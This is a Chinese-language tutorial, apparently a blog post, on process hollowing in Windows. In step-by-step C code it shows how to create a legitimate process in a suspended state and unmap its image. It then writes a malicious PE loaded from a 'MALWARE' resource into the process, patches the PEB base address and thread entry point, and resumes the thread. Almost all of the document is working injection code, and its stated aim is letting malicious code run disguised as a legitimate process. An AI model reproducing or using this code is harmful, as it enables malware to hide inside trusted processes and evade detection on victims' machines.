本文的进程替换是指将正在运行的程序的内存空间用恶意代码替换掉. 如果被替换的进程是合法的进程, 那么恶意代码可以披着合法的外衣干坏事了. 当然坏事干多了还是会被发现的.
替换的过程如下:
1. 创建一个挂起状态(SUSPEND)的进程, 此时进程的主线程还未开始运行.
2. 读取主线程的上下文(CONTEXT), 并读取新创建进程的基址.
3. 使用NtUnmapViewOfSection将新创建的进程的内存空间释放掉, 随后可以开始填充恶意代码.
4. 设置主线程的上下文, 启动主线程.
一. 我将恶意代码当成资源文件, 所以先将资源文件加载到内存中.
代码:
LPVOID ExtractRes(HMODULE hModule)
{
HRSRC hResInfo;
HGLOBAL hResData;
LPVOID lpResLock;
DWORD dwSize;
LPVOID lpAddr;
hResInfo = FindResource(hModule, MAKEINTRESOURCE(101), _T("MALWARE"));
hResData = LoadResource(hModule, hResInfo);
lpResLock = LockResource(hResData);
dwSize = SizeofResource(hModule, hResInfo);
lpAddr = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lpAddr, lpResLock, dwSize);
return lpAddr;
}
二. 此时lpAddr指向恶意代码的基址, 大小是dwSize. 创建一个挂起状态的进程, 用CREATE_SUSPENDED指定.
代码:
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0)
{
return -1;
}
三. 读取主线程的上下文, 用于恢复线程启动时使用. 此时需要读取新创建进程的基址, 用于NtUnmapViewOfSection函数.
读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放了基址. 由于PEB在新创建的进程的内存空间需要使用ReadProcessMemory来读取.
代码:
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &context) == 0)
{
return -1;
}
// EBX points to PEB, offset 8 is the pointer to the base address
if (ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &dwVictimBaseAddr, sizeof(PVOID), NULL) == 0)
{
return -1;
}
四. 使用NtUnmapViewOfSection函数释放内存空间, 然后在该空间申请一块空间用于存放恶意代码.
基址是pNtHeaders->OptionalHeader.ImageBase, 大小是pNtHeaders->OptionalHeader.SizeOfImage.
代码:
typedef ULONG (WINAPI *PFNNtUnmapViewOfSection) (HANDLE ProcessHandle, PVOID BaseAddress);
HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));
if (hNtModule == NULL)
{
hNtModule = LoadLibrary(_T("ntdll.dll"));
if (hNtModule == NULL)
{
return -1;
}
}
PFNNtUnmapViewOfSection pfnNtUnmapViewOfSection = (PFNNtUnmapViewOfSection)GetProcAddress(hNtModule, "NtUnmapViewOfSection");
if (pfnNtUnmapViewOfSection == NULL)
{
return -1;
}
pfnNtUnmapViewOfSection(pi.hProcess, (PVOID)dwVictimBaseAddr);
lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess,
(LPVOID)pNtHeaders->OptionalHeader.ImageBase,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
五. 向新申请的空间写入恶意代码.
代码:
// Replace headers
WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, lpMalwareBaseAddr, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
// Replace each sections
LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)lpMalwareBaseAddr + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSectionHeader;
for (idx = 0; idx < pNtHeaders->FileHeader.NumberOfSections; ++idx)
{
pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
WriteProcessMemory(pi.hProcess,
(LPVOID)((DWORD)lpNewVictimBaseAddr + pSectionHeader->VirtualAddress),
(LPCVOID)((DWORD)lpMalwareBaseAddr + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
NULL);
lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
}
// Replace the base address in the PEB
DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
六. 设置上下文, 并启动主线程. 需要注意的是, 程序的入口点是放在EAX寄存器中的.
代码:
// Replace Entry Point Address
context.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);